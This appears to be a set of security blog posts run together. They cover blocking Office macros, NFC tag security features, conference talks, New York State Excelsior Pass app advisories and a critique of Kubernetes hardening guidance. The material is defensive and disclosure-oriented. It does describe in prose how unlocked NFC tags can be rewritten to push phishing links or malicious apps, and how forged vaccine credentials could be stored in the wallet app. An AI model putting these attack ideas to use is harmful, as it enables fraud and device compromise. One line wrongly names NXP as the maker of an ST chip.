The best and easiest option to reduce the likelihood of malicious Office documents crippling an organization with malware or ransomware is to disable Office macros and create an allow list for users that absolutely need macros or enabled content. Users with exceptions to run macros or enabled content should be a priority to monitor for maldoc behavior through suspicious parent-child Office executions.

Blocking all Office documents from coming into the organization is not feasible due to the widespread usage of Microsoft Office products. However, some email scanning gateways offer maldoc scanning at an additional cost and can effectively reduce the sheer quantity of malicious Office documents an organization receives.  Alternatively, implementing an EDR solution is also a viable option.

Disabling Office macros is the easiest as it is FREE and already built into Microsoft Active Directory as a Group Policy object. The image below depicts the setting to disable Office macros.

Organizations can utilize user groups for those exceptions that still require macro functionality. However, keep in mind that those specific users should be provided additional awareness training on the ramifications of opening malicious Office documents and enabling content.

Use the Registry to block macros

For those that do not have Active Directory, blocking macros can also be achieved by adding a registry setting to each system to disable macro usage. Set the following keys to achieve macro blocking and be sure to adjust the appropriate Office version, e.g., “15.0, 16.0, etc.”:

• HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\office\<16.0>\word\security
• HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\office\<16.0>\excel\security
• HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\office\<16.0>\powerpoint\security

In each key listed above, create the following value:

• DWORD: blockcontentexecutionfrominternet
  • Value = 1

Conclusion

We hope this blog entry helps provide an option to reduce the risk of infection from ever-increasing malicious Office documents and some things to consider when implementing the change.  With some preparation, communication, and education, an organization can reduce the likelihood of getting infected by maldocs with an existing FREE option available to all Windows users.

References and Additional Reading

• Netskope’s ‘Cloud and Threat Report July 2021 Edition’ – https://go.netskope.com/rs/665-KFP-612/images/2021-07-Cloud%20and%20Threat%20Report-RR-474-1.pdf
• Emotet Takedown – https://www.fbi.gov/news/stories/emotet-malware-disrupted-020121
• Disable Macros – Center for Internet Security – https://www.cisecurity.org/white-papers/intel-insight-how-to-disable-macros/
• Disable Macros using the registry – https://gist.github.com/PSJoshi/749cf1733217d8791cf956574a3583a2
• Enable or disable macros in Office files – https://support.microsoft.com/en-us/office/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6

tl;dr

NFC tags are becoming increasingly more common in everyday use cases such as: 

• Public spaces like museums, art galleries or even retail stores in order to provide additional information about an item or product. 
• Inventory management sites use NFC tags on product packaging to update information on its contents. 
• Industrial facilities can use NFC for sharing initial secrets needed for device or service provisioning scenarios and also to deploy configuration data in operational mode (e.g. Amazon Monitron). 
• Numerous other use cases such as factory and home automation, industrial and street lighting, security systems, metering, healthcare, and wellness. Some real-life examples are the IRISS E Sentry Connect used to track electrical equipment inspection and maintenance history, McLear RingPay used for contactless payments, or the Oura ring used for healthcare and wellness tracking. 

When looking into guidance on securely configuring NFC tags, a well-documented resource detailing how to securely configure a specific NFC tag chip was not readily available. The only available solution was to search every manufacturer’s datasheet and documentation in order to identify the security-related information. NCC Group aims to solve this documentation deficiency in this blog post by presenting an overview of security features that are available in the most common NFC tag models on the market, and to provide a side-by-side comparison. 

NFC Tag Standards and Specifications

The NFC technology stack is rather complex, as there are several available standards and specifications that define NFC tag feature support. Generally, security features in NFC chips will correlate to commands that are supported by each chip.  

The following table maps the features provided by each standard to the NFC protocol stack, which illustrates the complexity of the NFC ecosystem.  

The complexity of the NFC ecosystem is illustrated by the previous chart. Perhaps the most surprising thing about the diagram above is not even that different standards exist at different layers of the NFC stack, but that even at a given layer of the stack, there are multiple competing standards which often fail to align. This complex ecosystem has resulted in inconsistencies in users’ security expectations – and security engineering methodologies – when deploying NFC.  
 
For example, above, the ISO International standards are mainly involved in defining the specifications at the physical and RF layers, but as we go up in the protocol stack, we encounter the different manufacturer contributions. For example, the ST25TA64K chip supports three command families:  

• The NFC Forum Type 4 Tag command set 
• The ISO/IEC 7816-4 command set 
• The ST proprietary command set 

Further illustrating the degree of complexity, in order to enable the Read Only permanent state for an NDEF file in this same ST chip, commands from all three supported families are required. The following RF commands need to be used, in this precise order: 

1. NDEF Tag Application Select (NFC Forum Type 4 Tag command set) 

2. NDEF select File: Selects the NDEF file (NFC Forum Type 4 Tag command set) 

3. Verify command: Checks the right access of a NDEF file or sends a password (ISO/IEC 7816-4 command set) 

4. NDEF select File: Selects the NDEF file (NFC Forum Type 4 Tag command set) 

5. EnablePermanentState command: Enables the Read Only or Write Only security state(ST proprietary command set) 

From this we can see that it is clear that there are several standards defining the NFC protocol stack, and so any tool looking to provide support for configuring NFC tag security features will need to support more than one standard. This is one of the primary reasons why tooling support and security best practice documentation in the NFC ecosystem is woefully lacking. 

Available Security Options

To illustrate an important concept within NFC security – namely, that of “user” and “system” specific memory protections, we share an example in the following image which describes the block architecture of the ST25TA64K tag from NXP. Note below the presence of both User and System memory areas, which exist within different regions of a 64-Kbit EEPROM internal to the NFC chip. 

The NFC specification defines important security features for these two memory areas. For each chip surveyed, two main types of security features were observed:  

• User memory protection: User memory is where customer data, such as NDEF records (https://w3c.github.io/web-nfc/#dfn-ndef-record), would be stored. The NFC Data Exchange Format (NDEF) is a data format that can be used to exchange information (NDEF records) between any compatible NFC device and another NFC device or tag.  
• System configuration protection: This is where system configuration data would be stored, such as the passwords used for user memory area protection.  

User memory and system configuration are generally stored in different memory areas within the NFC chip, and are accessed via different commands. For both user memory and system configuration protection, the following configuration parameters are available: 

• Read Protection (RDP): Protection via a password for read operations. 
• Write Protection (WDP): Protection via a password for write operations. 
• Permanent Lock: Prevent the contents from modifications (Write operations). 

The implementation of these protections, as well as additional protections some chips might offer are compiled in the following section. 

Comparison

The tags used for this comparison were chosen by public availability and features offered and are listed hereafter. The astute reader will notice some duplication below, and that is due to the fact that some vendors sell NFC tags that use another vendor’s NFC chip. 

• STMicroelectronics ST25TA02K 
• STMicroelectronics ST25TA64K 
• STMicroelectronics ST25DV Series 
• Adafruit 4032 (NXP NTAG213) 
• Adafruit 4033 (NXP NTAG213) 
• Adafruit 4034 (NXP NTAG213) 
• DFRobot FIT0313 (NXP NXPS50) 
• Murata Electronics LXMS33HCNG-134 (NXP ICODE SLIX) 
• Avery Dennison RFID 600560 (NXP UCODE 7) 
• Avery Dennison RFID 600600 (Impinj Monza R6) 
• SparkFun Electronics WRL-14151 (EPCglobal Gen2) 
• Abracon LLC ART915X250903AM-IC (Alien H3 RFID) 

Understanding the security impact of NFC chips’ range & frequency

NFC solutions have evolved with time to support higher RF frequencies, and as a consequence they can be interacted with from longer distances, including by attackers. The advertised ranges for UHF chips are close to early Bluetooth ranges and would no longer even require an attacker to physically tap the tag. Additionally, the advertised applications have been expanding more and more and entering safety critical areas, such as within the , oil and gas industry, as well as military devices and vehicles. It is thus important to know how to choose the appropriate chips for a given use case, and how to configure them securely. 

Understanding the security impact of NFC chips’ memory protections

For a strong security posture, it is important for the chosen chip to support as many protections as possible. Having these protections enabled by default even with easily guessable passwords may protect the contents of the chip from some opportunistic threat actors, improving the security stance. However, this will not provide any protection against any sort of more persistent or even mildly sophisticated attack. It is thus important to include enabling the security protections and configuring secure passwords in the NFC chip configuration process before they are deployed in the wild. Depending on the chip and management needs, it can be permanently locked to prevent write actions from RF, if there is a secondary channel to perform this action, such as I2C (e.g. ST25DV) or if the contents are never expected to change. 

In the following table we enumerate all of the surveyed NFC chips and whether read (RDP) and write (WDP) user memory protections are available, as well as the default chip configuration was to enable or disable RDP and WDP, and whether the chips support Permanent Lock functionality. Although some chips had detailed publicly available documentation, for other chips the data sheets and reference manuals were only available under NDA. All chips have public documentation of their security features, except for Alien H3, which required an NDA and the NXPS50 and Sparkfun EPCglobal, which list the security features but don’t document their default configuration. For those chips whose documentation was locked behind an NDA, we have filled in their corresponding values as “Unknown”. Only publicly available information has been used in this post, no information requiring an NDA. 

The following table documents whether read (RDP) and write (WDP) system configuration protection is available for each of the reviewed chips, as well as the default configuration and whether they support Permanent Lock capabilities. 

Conclusion

Despite the many standards available defining NFC, in reality the support, definition and implementation of security features for NFC tags can vary quite a lot depending on the chip manufacturer as well as the tag vendor. Additionally, some tags don’t support read/write protections, and most tags are delivered to end users with an insecure default configuration, such as including default protection passwords that are easily guessable (all 0s). Moreover, many tags have no available information in their public documentation on the default configuration. 

Thus, depending on the application intended for the NFC tags, it is important to ensure that  the chip can fulfill the security expectations of the product threat model. For example, if the tags are to be installed in public areas such as libraries or supermarkets, then a manufacturing or provisioning process should be defined in order to lock down the memory contents. 

The average user will tend to trust the businesses that deploy NFC tags and will scan them in order to view content, which could expose their own mobile devices to further attacks If these tags are deployed in the default insecure configuration, a malicious actor could re-write the tag with malicious content, such as a link to a phishing website, or an NDEF record that redirects the user to install a malicious application on their phone. Some examples of attacks are: malware installation via Android Beam, or redirecting the user to install a Play Store application by writing on the tag an Android Application Record (AAR) NDEF record with a malicious application. The latter will instruct the mobile device that the malicious Android Application should be used to handle the NFC tag and open the application’s Play Store page, guiding the user to install it. Attackers could go as far as locking down the tag memory, so that the company could not restore them and would have to re-deploy new tags. This type of attack does not target a user’s mobile device security, but instead impacts the trust the user has when scanning the tag provided by the business or organization. 

Therefore the consequences of insecure deployment of NFC is not limited just to the affected users and their devices – it can also affect businesses in terms of both their reputation as perceived by their customers and suppliers, as well as their ability to reliably use NFC deployments in their ongoing operations. 

Endnotes

¹ The system configuration can be permanently locked for write access from RF, but an I2C host will still be able to edit and unlock: “user cannot unlock system configuration if LOCK_CFG=01h, even after opening RF configuration security session (only I2C host can unlock system configuration).” (https://www.st.com/resource/en/datasheet/st25dv04k.pdf) 

² The documentation mentions : “CFGLCK: user configuration permanently locked against write access, except PWD […]” and “The PWD  [… is] writable even if the CFGLCK bit is set to 1b.“, which means the two passwords can still be modified, despite the memory being permanently locked. (https://www.nxp.com/docs/en/data-sheet/NTAG213_215_216.pdf) 

³ Additional protection in the case of too many unsuccessful authentication attempts : “As soon as this internal counter reaches the number specified in AUTHLIM, any further negative password verification leads to a permanent locking of the protected part of the memory for the specified access modes.” (https://www.nxp.com/docs/en/data-sheet/NTAG213_215_216.pdf) 

⁴ The tag does not have user memory per-se, the inventory data is stored in the EPC memory section, for this comparison we consider this area as “user memory” as this would be the data returned to a user when reading the tag. 

⁵ “If a Tag does not implement the kill and/or access password(s), the Tag shall logically operate as though it has zero-valued password(s) that are permanently read/write locked” (https://www.gs1.org/sites/default/files/docs/epc/uhfc1g2_1_2_0-standard-20080511.pdf) 

⁶ “Monza R6 does not have any user programmable passwords. As per the Gen2 specifications the passwords are PermaReadLocked and set to zero. It follows that Monza R6 is not killable and does not utilize the Access command.” (https://support.impinj.com/hc/article_attachments/1500019253582/Impinj_Monza_R6_Tag_Chip_Datasheet_V7_20210521.pdf) 

⁷ The documentation suggests that only the first two configuration pages can be permanently locked: “Remark: The CFGLCK bit activates the permanent write protection of the first two configuration pages. The write lock is only activated after a power cycle of NTAG21x. If write protection is enabled, each write attempt leads to a NAK response.” (https://www.nxp.com/docs/en/data-sheet/NTAG213_215_216.pdf) 

⁸ Only for EAS and AFI functionality: “Password (32-bit) protected EAS and AFI functionality” (https://www.nxp.com/docs/en/data-sheet/SL2S2002_SL2S2102.pdf) 

⁹ Only available for specific configuration areas: “Lock mechanism for DSFID, AFI, EAS” (https://www.nxp.com/docs/en/data-sheet/SL2S2002_SL2S2102.pdf) 

¹⁰ An additional security feature from the EPC standard, a tag can be “killed” : “The kill password is a 32-bit value stored in Reserved memory 00h to 1Fh, MSB first. The default (unprogrammed) value shall be zero. An Interrogator may use the kill password to (1) recommission a Tag, and/or (2) kill a Tag and render it nonresponsive thereafter. A Tag shall not execute a recommissioning or kill operation if its kill password is zero. A Tag that does not implement a kill password operates as if it has a zero-valued kill password that is permanently read/write locked.” (https://www.gs1.org/sites/default/files/docs/epc/uhfc1g2_1_2_0-standard-20080511.pdf) 

¹¹ Only for the GPO Config and Event Counter Config bytes (https://www.st.com/resource/en/datasheet/st25ta02k-p.pdf) 

This month, members of NCC Group will be presenting their work at the following conferences:

• Javed Samuel, “Overview of Open-Source Cryptography Vulnerabilities”, to be presented at the International Cryptographic Module Conference 2021 (Virtual – Sept 3 2021)
  
• Robert Seacord, “Secure Coding”, to be presented at Auto ISAC Analysts (Virtual – Sept 7 2021)
  
• Erik Steringer, “Automating AWS Privilege Escalation Risk Detection With Principal Mapper”, to be presented at fwd:CloudSec (Salt Lake City Utah Sept 13-14 2021)
  
• Duane Reeves, “Telephony: The Forgotten Network Threat”, to be presented at GSX 2021 (Orlando Florida Sept 27 2021)
  

Please join us!

Overview of Open-Source Cryptography Vulnerabilities
Javed Samuel
ICMC21 – Bethesda, Maryland
September 3 2021

This talk will review the foundations of cryptographic vulnerabilities as applicable to open-source software from a penetration tester’s perspective over multiple public cryptography audit reports. It will discuss what attacks in the past took advantage of these cryptography vulnerabilities and what the consequences were. The talk will also examine ways that open-source software has been updated over time to mitigate these cryptography flaws and how successful these mitigations may have been. Finally, some thoughts on possible areas that could be the focus for future cryptography vulnerabilities in open-source applications will be presented. 

Secure Coding
Robert Seacord
Auto ISAC Analysts – Virtual
September 7 2021

Secure coding is essential to the development of secure, connected vehicles. Current safety guidelines such as MISRA are deficient from a security perspective. This talk will provide an overview of secure coding and some of the problems it solves that are not adequately addressed by MISRA. It will provide an explanation of common programming errors in C and C++ and describe how these errors can lead to code that is vulnerable to exploitation. It will concentrate on security issues intrinsic to the C and C++ programming languages and associated libraries.

Automating AWS Privilege Escalation Risk Detection With Principal Mapper
Erik Steringer
fwd: Cloud Sec – Salt Lake City, Utah
September 13-14 2021

You locked down your AWS account’s IAM Policies, but are you certain there aren’t any unexpected side effects? Are there any passable/assumable roles that could be abused to access those credentials you stashed in Secrets Manager? Principal Mapper (PMapper) is a tool for in-depth evaluation of AWS IAM Authorization Risks. This talk covers how to extend it to automate finding risks (continuous monitoring) and test for resource isolation.

Telephony: The Forgotten Network Threat
Duane Reeves
GSX 2021- Orlando Florida
September 27 2021

Telecommunications networks are now relied upon more than ever before, making them a staple of modern society’s critical infrastructure. Unfortunately, fraud and security threats are arising alongside the technological advancements by today’s unified communications (UC) systems. The Communications Fraud Control Association (CFCA), in its 2019 annual survey, announced that global yearly fraud losses are in the range of $28–$30 billion. What does telephony look like today, and how have UC networks made fraudulent activities easier, cheaper, and available to more people? In this session, I will address those questions, explore the various risks organizations face, and detail important steps to identify countermeasures to protect against the multiple threats.

Vendor: New York State
Vendor URL: https://covid19vaccine.health.ny.gov/excelsior-pass
Versions affected: iOS 1.4.1, Android 1.4.1
Systems Affected: iOS, Android
Author: Dan Hastings dan.hastings[at]nccgroup[dot]trust
Advisory URL / CVE Identifier:
Risk: Information Leakage

Summary

The New York State (NYS) Excelsior scanner app is used by businesses or event venues to scan the QR codes contained in the NYS Excelsior wallet app to verify that an individual has either a negative COVID-19 test or their vaccination status. We have found that some data about the businesses/event venues using the app to scan QR codes is also sent to a third-party analytics domain, but that this was not specified in the app’s privacy policy.

Impact

The NYS scanner app’s privacy policy does not match up to the actual data collection practices of the application, resulting in data being sent to an analytics third party that was not specified in advance to users of this app.

Details

The NYS Excelsior scanner privacy policy (https://epass.ny.gov/privacy-scanner) describes that the Business Name, Industry Type and Zip Code are all collected by the scanner app. The policy also states in the “How Data is Used” clause that “App data, , including Business Name, Industry Type, Zip Code, Pass type (vaccination, PCR, antigen), and Scan Result (valid, invalid, expired, pass not found), is collected and stored securely and is only shared with NYS”. 

In a request to the domain https://app-measurement.com (which is used for Google Analytics) the Business Name, Industry Type and Zip Code of the business/event venue using the scanner are all sent, which was not specified in the app’s privacy policy.

Fix from Vendor

Vendor informed NCC Group that updates will be made to the privacy policy to clarify that Business Name, Industry Type and Zip Code data will be shared with third parties.

Recommendation to Scanner App Users

Update to the latest version of the application.

Vendor Communication

2021-04-30 Starts disclosure to NYS via support form - no response
2021-06-07 Submits another request to coordinate a disclosure - no response
2021-06-10 Calls NYS Excelsior support and is instructed to wait or contact the Department of Health 
2021-06-17 Emails DOH requesting to start disclosure process - no response
2021-06-25 Emails DOH to follow up on previous email - no response
2021-07-08 Emails DOH and requests acknowledgment - no response 
2021-07-16 Emails NYS ITS Cyber command center requesting to start a disclosure 
2021-07-20 ITS sets up meeting to discuss vulnerability’s
2021-07-21 Meets with ITS team and shares vulnerabilities and recommends fixes
2021-07-21 ITS sends email with patch details and date 
2021-08-12 Patch released
2021-09-01 Advisory publication 

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Published date: 2021-09-01

Written by: Dan Hastings

Vendor: New York State
Vendor URL: https://play.google.com/store/apps/details?id=gov.ny.its.healthpassport.wallet
Versions affected: 1.2.0
Systems Affected: Android Google Play Store
Author: Siddarth Adukia sid.adukia[at]nccgroup[dot]com

Summary

New York State developed an application called NYS Excelsior Pass Wallet that allows users to acquire and store a COVID-19 vaccine credential. During some research it was discovered that this application does not validate vaccine credentials added to it, allowing forged credentials to be stored by users.

Impact

This issue would allow an individual to create and store fake vaccine credentials in their NYS Excelsior
Pass Wallet that might allow them to gain access to physical spaces (such as businesses and event venues) where they would not be allowed without a vaccine credential, even when they have not received a COVID-19 vaccine.

Details

The Wallet application can add a pass directly by interacting with the NYS servers, or through scanning a QR code or photo. In neither case is the credential verified, allowing forged credentials to be added to the Wallet. Screenshots of forged credentials are included; these may be scanned by the Wallet app and added as a legitimate pass.

If a business does not properly use the NYS Scanner application, or ignores the invalid pass warning in the Scanner app and trusts the pass shown in the Excelsior Wallet app on a user’s smartphone, it could allow individuals to fake vaccine credentials and gain access to physical spaces that are only supposed to be accessible to those with valid, legitimate proof of vaccination.

Fix from Vendor

Vendor informed NCC Group they intend to implement verification for vaccine credentials added to the NYS Excelsior Pass Wallet. This fix was released in the August 20 2021 version of the app.

Recommendation to Users

Update to the latest version of the application.

Users of he NYS Excelsior Pass Scanner (such as businesses and event venues) should take care while scanning presented vaccine credentials to confirm that each presented credential is successfully validated by the Scanner application to ensure that a presented credential is legitimate.

Vendor Communication

2021-04-30 NCC Group starts disclosure to NYS via support form - no response
2021-06-07 NCC Group submits another request to coordinate a disclosure - no response
2021-06-10 NCC Group calls NYS Excelsior support and is instructed to wait or contact the Department of Health 
2021-06-17 NCC Group emails DOH requesting to start disclosure process - no response
2021-06-25 NCC Group emails DOH to follow up on previous email - no response
2021-07-08 NCC Group emails DOH and requests acknowledgment - no response 
2021-07-16 NCC Group emails NYS ITS Cyber command center requesting to start a disclosure 
2021-07-20 NYS ITS sets up meeting to discuss vulnerabilities
2021-07-21 NCC Group meets with NYS ITS team and shares vulnerabilities and recommends fixes
2021-07-21 NYS ITS sends email with patch details and date 
2021-08-20 Patch released
2021-09-01 Advisory published

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Published date:  2021-09-01

Written by:  Siddarth Adukia

[Editor’s note: The disclosure timeline on this post was updated September 2 2021 to correct the patch date which was incorrectly noted in the original post. This was also corrected in the “Fix from Vendor” section. The issue was patched on August 20 2021; the original advisory had stated that it was August 12 2021]

Last month, the United States’ National Security Agency (NSA) and Cybersecurity and Infrastructure Security Agency (CISA) released a Cybersecurity Technical Report (CTR) detailing the security hardening they recommend be applied to Kubernetes clusters, which is available here. The guidance the document contains is generally reasonable, but there are several points which are either incorrect or do not provide sufficient context for administrators to make good security-focused decisions.

In this blog post, we begin by outlining the general guidance (“The Good“), and then highlight some points where the CTR is either misleading or incorrect (“The Bad” and “The Complex“). This post is split into three parts:

1. The Good
2. The Bad: Places where the NSA/CISA guidance overlooked important aspects of Kubernetes security, or where the guidance was out of date at time of publication.
3. The Complex: Considerations for some of the more common complex use cases not covered by the CTR guidance, including useful audit configurations that won’t require excessive levels of compute power or storage, handling external dependencies, and some notes around the complex mechanisms of Kubernetes RBAC.

The Good

On the whole, the guidance provided is sensible and will help administrators bring their clusters to a reasonable and secure state.

The high level guidance from the document is as below:

• Scan containers and Pods for vulnerabilities or misconfigurations
• Run containers and Pods with the least privileges possible
• Use network separation to control the amount of damage a compromise can cause
• Use firewalls to limit unneeded network connectivity and encryption to protect confidentiality
• Use strong authentication and authorization to limit user and administrator access as well as to limit the attack surface
• Use log auditing so that administrators can monitor activity and be alerted to potential malicious activity
• Periodically review all Kubernetes settings and use vulnerability scans to help ensure risks are appropriately accounted for and security patches are applied

Each of these points relate back to the generic guidance for almost any platform, regardless of the technology in use: restrict access through authentication and network filtering, log what is permitted and what gets requested, apply security options where available, and keep components up to date.

The guidance also calls out the common sources of compromise, identifying supply chain attacks, malicious threat actors, and insider threats. Despite “malicious threat actors” covering a fairly broad scope as an answer to “who wants to hack us?”, these three sources of compromise cover the majority of the attack paths we have followed when reviewing customer environments.

High Level Recommendations

Scan Container Images

Vulnerability scanning is a key component of staying secure, regardless of the platform used. Performing image scanning on your images can be a good way to prevent the software you are running from becoming open to newly identified vulnerabilities.

Patching container images generally needs to happen in two stages: downloading fresh versions of the published image from a vendor, and applying any patches which have been released since the image was last built through a package manager like apt or yum. As with patching of any other system, care should be taken to ensure that all of your software still works as intended after any patches have been applied. You should also make sure all images are pulled from trusted sources (such as official Docker images, or images from verified publishers). Additionally, any programming language based dependencies (Ruby/Bundler, Python/Pip etc.) should be updated regularly.

Follow the Principle of Least Privilege

Running containers with the lowest level of privileges possible will help to reduce the blast radius of a compromise, reducing what an attacker is able to do should they gain access to a single pod through a remote code execution (RCE) vulnerability in a microservice or similar. This can be accomplished in a few ways, the simplest of which is to build container images to run as a non-root user.

Kubernetes can also force a container to run as a specific user through the use of the SecurityContext directive. This approach is effective, but may result in file permission problems in images which expect to be run as UID 0.

The NSA/CISA guidance does also mention the possibility to use a rootless Docker engine. While this can work for a standalone Docker instance, support is not widely available for running a rootless engine in Kubernetes and doing so is generally not advised on production systems.

Another option is to use user namespacing, effectively allowing contained processes to run “as root” inside but mapping to a non-0 UID on the host. This feature is supported on Docker, but is only in alpha levels of support in Kubernetes.

The concepts applied to running pods should also be applied to anywhere authentication and authorization are applied, such as Kubernetes RBAC and service account configurations. Service accounts have permissions which are effectively granted to any running pod configured to use that account. These permissions are rarely required for standard applications, and so most service accounts do not need any permissions at all.

Isolate Networks

Suggesting enforcing isolation between components is common security advice. Recommending the use of both host/network firewalling and Kubernetes network policies to provide this isolation is good advice, and something that we generally don’t see enough of on customer engagements. It’s not uncommon for us to see environments where the Kubernetes apiserver is exposed to the internet, and for the cluster itself to be completely flat. This means any compromise of one service can provide an attacker with a path to other services, some of which may be running without authentication requirements.

As a minimum we recommend isolating namespaces through the use of a default deny-all network policy for both ingress and egress, then only permitting the connections that are explicitly required. For more sensitive environments we often see customers choose to use a service mesh such as Istio or Linkerd to provide further filtering and additional encryption, however these options do tend to increase operational complexity significantly (and aren’t without their own security issues).

Logging Configuration

Like with network isolation, we regularly see customer deployments running without any logging or auditing enabled. Enabling these features will massively help to identify ongoing attacks should your cluster be targeted, as well as providing essential forensic information should the worst happen and the cluster be compromised by a malicious user.

Regular Configuration Review

Kubernetes clusters require ongoing maintenance, and are not systems which can be simply set-and-forget. Between the relentless patching cycle and an increasing number of security releases and bugfixes and changes to API versions, regular config changes will be required. Checking that security options are applied correctly or tweaking configurations to improve the security posture over time is expected as part of routine maintenance.

As discussed extensively in the released document, Kubernetes clusters are rarely configured securely out of the box. For organisations running multiple clusters, having a standardised deployment process with known-secure options applied will help you ensure consistency.

The Bad

Some of the advice contained in the CTR was not as accurate or up-to-date as guidance from other sources. While not necessarily bad advice, some of the core concepts in Kubernetes security are not discussed in the document, or are not given the attention they deserve.

PSP Deprecation

The biggest issue I have with the guidance is the over-reliance on Pod Security Policy (PSP) as a solution for a range of problems. When first released, PSP was the only available control to prevent a user with the ability to create pods from compromising an entire node in a trivial manner. The guidance correctly points out the many features of PSP, but it does not call out that the PSP feature is officially deprecated, and will be removed in the 1.25 release. This may be because the authors did not want to recommend a specific third party alternative, and the official replacement was only recently formalised.

Several technologies have appeared over the last few years which have aimed to fix holes in the PSP model, including OPA Gatekeeper, Kyverno, and k-rail. The official replacement to PSP, a newly introduced alpha feature called PodSecurity, will be added in Kubernetes 1.22 when it releases later this year.

The deprecation of PSP has only been a matter of time, and our advice for some time now has been to implement one of the PSP replacements rather than spend large amounts of engineering time on a feature that will be removed in the next year. Until the PodSecurity admission controller is more mature, this is still our recommendation to customers.

Admission Controllers

Pod Security Policy, and each of the alternatives, is implemented as an admission controller in a Kubernetes cluster. Admissions controllers are an “extra” step, required for approval after a request has passed authentication and authorization checks. These controllers can provide a vast amount of security hardening in an automated manner. Despite this, they were only mentioned in the released guidance once, as part of the image scanning section.

A well-configured admission controller can automatically enforce a significant number of the checks around pod security, for instance by blocking pods which attempt to run with the privileged flag, or programmatically adding the “RunAsUser” field to force every pod to run as a non-root user.

Inconsistencies/Incorrect Information

The CTR did contain a couple of inconsistencies, or pieces of information which were not correct. For example, page 4 of the guidance states that both the Kubelet and the Scheduler run on TCP 10251 by default. In actuality the Kubelet’s default port is TCP port 10250 for the read-write port, and 10255 for the soon-to-be-deprecated read-only port. Page 15 does provide the correct information for the Kubelet’s read-write port, but does not make any mention of the read-only port. Similarly, the kube-scheduler component runs on TCP port 10259, not 10251, in modern installs, and the controller-manager runs on 10257.

Kubernetes also has an insecure API mode, which the CTR correctly identifies as bypassing all AuthN/AuthZ checks and not using TLS encryption. However, this insecure port was deprecated in version 1.20. Since this release, the –insecure-port flag is only accepted as a parameter if the value is set to 0. If you are running a cluster and have the insecure port enabled, access should be extremely locked down and well monitored/audited, but in general there is no reason this port should be enabled in a modern cluster.

Authentication Issues

When it comes to authentication, the CTR is largely incorrect when it states that Kubernetes does not provide an authentication method by default. While the specifics will vary from install to install, the majority of clusters we review support both token and certificate authentication, both of which are supported natively. While these are supported, we generally advise against using either for production workloads as each have their downsides. In particular, client certificate authentication can provide issues when it comes removing access should it be required to cut off a cluster administrator, as Kubernetes does not support certificate revocation. This becomes more of an issue if an attacker managed to gain access to a certificate issued to the group system:masters, as this group has hard-coded administrative access to the apiserver.

The Complex

With a project as complicated as Kubernetes, it is not possible to cover every option and every edge case in a single document, so trying to write a piece of one size fits all guidance won’t be possible. Here, I would like to offer considerations for some of the more common complex use cases not covered by the CTR guidance. This includes coming up with a useful audit configuration that won’t require excessive levels of compute power or storage, handling external dependencies, and some notes around the complex mechanisms of Kubernetes RBAC.

Levels of Audit Data

While enabling auditing is an excellent idea for a cluster, Kubernetes is heavily reliant on control loops that constantly generate HTTP requests. Logging of every request, and particularly logging the request and response data as suggested in Appendix L of the released guidance, would result in massive amounts of data being stored with the vast majority of this information being expected and not of much use for forensics or debugging. Similarly, the guidance explicitly suggests logging for all pod creation requests, which will result in a large amount of data being stored by routine actions such as pods scaling or being moved from one node to another by a scheduler. Instead of logging full requests, we recommend writing a tailored policy which includes metadata for most requests, and only storing full request/response information for particularly sensitive calls. The exact logging requirements will vary from deployment to deployment in line with your security standards but, in general, logging everything is not considered essential, and can have adverse effects on storage requirements and processing time. In some cases, it can drastically increase operational costs if logs are ingested to a cloud service or a managed service which charges per log-entry.

Sidecar Resource Requirements

Similarly, the CTR advises that logging can be performed in a number of ways. This is true, and again the option you choose will depend on your specific setup. However, logging sidecars on every container does come with an increase in deployment complexity and a significant increase in resource requirements per pod.

Again, there is no “correct” logging deployment, and each option will have pros and cons. That said, it may be more efficient to have containers log to a specific directory on each node and use either a daemonset or some component of the host configuration to pick up these logs and pass them to a centralised logging location.

External Dependencies are essential

The core of a Kubernetes cluster is comprised of container images, which are generally pulled from an external source. For example the apiserver is generally retrieved from k8s.gcr.io/kube-apiserver. Even excluding the core components, most cloud-native technologies tend to assume they’re being run in a highly connected environment where updates can be retrieved in a trivial manner.

Most Kubernetes clusters can be reconfigured to require only local images, but if you decide to enable such restrictions, performing updates will become much more difficult. Given the update cadence of Kubernetes, increasing upgrade friction may not be something you want, leading to the old tradeoff of usability vs security. On the other hand, always pulling the latest version of an external dependency without performing any validation and security testing may open an organisation to supply-chain compromise. The likelihood of this varies, as some repositories will be better monitored and are less likely to be compromised in the first place, but it’s still something to consider.

Container signing is still very much not a solved problem. Historically, Docker Content Trust was viewed as the best option where it was enabled, but that mechanism was not without its problems and is no longer maintained. Several solutions are being worked on, including sigstore.

As well as verifying that your external dependencies are legitimate and not altered from the original packages, these containers may contain security vulnerabilities. At time of writing, the image k8s.gcr.io/etcd:3.5.0-0 (the newest version packed for Kubernetes) has packages vulnerable to CVE-2020-29652 which shows as a high risk vulnerability when scanned with an image scanner like Trivy or Clair. Again, you could probably take on the task of patching these images but that leads to further problems: Do you want to be responsible for performing all testing that patching will require, and what will you do when images contain vulnerabilities for which no patch exists?

RBAC is hard

Kubernetes RBAC is a difficult thing to configure well, and on engagements we regularly see customers who have an RBAC configuration allowing users or attackers to escalate their permissions, often to the point of gaining full adminsitrative control over the cluster. Plenty of guidance is available on the internet around how to do Kubernetes RBAC securely, and that goes way beyond the scope of this post.

Patching Everything is hard

This post has already discussed the difficulties of keeping everything published in containers, but patching of the worker nodes themselves is equally important. Unless you’re running a cluster backed by something like AWS’ Fargate, containers are still running on a computer that you need to keep updated. Vulnerabilities have historically been identified in every step of the execution chain, from Kubernetes to Containerd to runc and the Linux kernel. Keeping all of these components updated can be challenging, especially as there’s always the chance of breaking changes and requirements for downtime.

